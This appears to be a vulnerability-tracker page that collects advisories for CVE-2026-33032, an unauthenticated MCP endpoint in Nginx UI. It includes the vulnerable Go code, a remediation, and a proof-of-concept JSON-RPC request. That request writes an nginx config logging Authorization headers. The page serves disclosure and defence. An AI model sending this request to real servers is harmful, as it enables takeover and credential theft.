Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Nginx UI: Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

CVSS 3.1 9.8 CRITICALEUVD CVSS 3.1 9.8 CVSS 3.1 · [email protected] · Secondary 9.8 CRITICALCVSS_V3 Publisher rating CRITICALosv · severity unknownCheck source for fixed versionsKEV status unknown

cve-program · CVE-2026-33032

Published

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches.

Read the publisher's advisory

euvd · EUVD-2026-17158

Published

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches.

Read the publisher's advisory

nvd · CVE-2026-33032

Published

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches.

Read the publisher's advisory

osv · GHSA-h6c2-x2m2-mwhf

Published

### Summary The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. ### Details #### Vulnerable Code **`mcp/router.go:9-17` - Auth asymmetry between endpoints** ```go func InitRouter(r *gin.Engine) { r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) }) r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) }) } ``` The `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations. **`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all** ```go func IPWhiteList() gin.HandlerFunc { return func(c *gin.Context) { clientIP := c.ClientIP() if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } // ... } } ``` When `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design. #### Available MCP Tools (all invocable without auth) From `mcp/nginx/`: - `restart_nginx` - restart the nginx process - `reload_nginx` - reload nginx configuration - `nginx_status` - read nginx status From `mcp/config/`: - `nginx_config_add` - create new nginx config files - `nginx_config_modify` - modify existing config files - `nginx_config_list` - list all configurations - `nginx_config_get` - read config file contents - `nginx_config_enable` - enable/disable sites - `nginx_config_rename` - rename config files - `nginx_config_mkdir` - create directories - `nginx_config_history` - view config history - `nginx_config_base_path` - get nginx config directory path #### Attack Scenario 1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port) 2. No authentication is required - IP whitelist is empty by default 3. Attacker invokes `nginx_config_modify` with `relative_path="nginx.conf"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers) 4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly 5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied ### PoC **1. The auth asymmetry** is visible by comparing the two route registrations in `mcp/router.go`: ```go // Line 10 - /mcp requires auth: r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) }) // Line 14 - /mcp_message does NOT: r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) }) ``` Both call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations. **2. The IP whitelist defaults to empty**, allowing all IPs. From `settings/auth.go`: ```go var AuthSettings = &Auth{ BanThresholdMinutes: 10, MaxAttempts: 10, // IPWhiteList is not initialized - defaults to nil/empty slice } ``` And the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty: ```go if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } ``` **3. Config writes auto-reload nginx.** From `mcp/config/config_add.go`: ```go err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file // ... res := nginx.Control(nginx.Reload) // Line 74: immediate reload ``` **4. Exploit request.** An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers: ```http POST /mcp_message HTTP/1.1 Content-Type: application/json { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "evil.conf", "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }", "base_dir": "conf.d", "overwrite": true, "sync_node_ids": [] } }, "id": 1 } ``` No `Authorization` header is needed. The config is written and nginx reloads immediately. ### Impact - **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart - **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit - **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services - **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API ### Remediation Add `middleware.AuthRequired()` to the `/mcp_message` route: ```go r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) }) ``` Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

Read the publisher's advisory

osv · GO-2026-4904

Published

nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover in github.com/0xJacky/Nginx-UI

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Every daily score change from the last 30 days stays in this history. Before that, it keeps KEV changes and moves between EPSS bands (0.1%, 1%, 5%, 10%, 20%, 50% and 90%).

Advisory history

13 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

14 Nov 2026 03:07:59 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

euvd · EUVD-2026-17158 · Published

11 Nov 2026 08:34:53 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

euvd · EUVD-2026-17158 · Published

9 Nov 2026 08:08:22 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

euvd · EUVD-2026-17158 · Published

7 Nov 2026 07:32:31 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

euvd · EUVD-2026-17158 · Published

5 Nov 2026 07:01:45 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

euvd · EUVD-2026-17158 · Published

3 Nov 2026 06:05:20 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

euvd · EUVD-2026-17158 · Published

1 Nov 2026 05:11:40 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

euvd · EUVD-2026-17158 · Published

30 Oct 2026 04:55:49 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

euvd · EUVD-2026-17158 · Published

28 Oct 2026 03:57:15 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

euvd · EUVD-2026-17158 · Published

25 Oct 2026 08:17:18 UTC

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…

nvd · CVE-2026-33032 · Published

24 Oct 2026 13:19:41 UTC

nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

osv · GHSA-h6c2-x2m2-mwhf · Published

24 Oct 2026 13:19:41 UTC

nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover in github.com/0xJacky/Nginx-UI

osv · GO-2026-4904 · Published

23 Oct 2026 15:48:27 UTC

Nginx UI: Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

cve-program · CVE-2026-33032 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 23:13 UTC · 274 of 275 readable · 250 fully read · 18 waiting for GitHub's hourly limit · documentation 461/469 current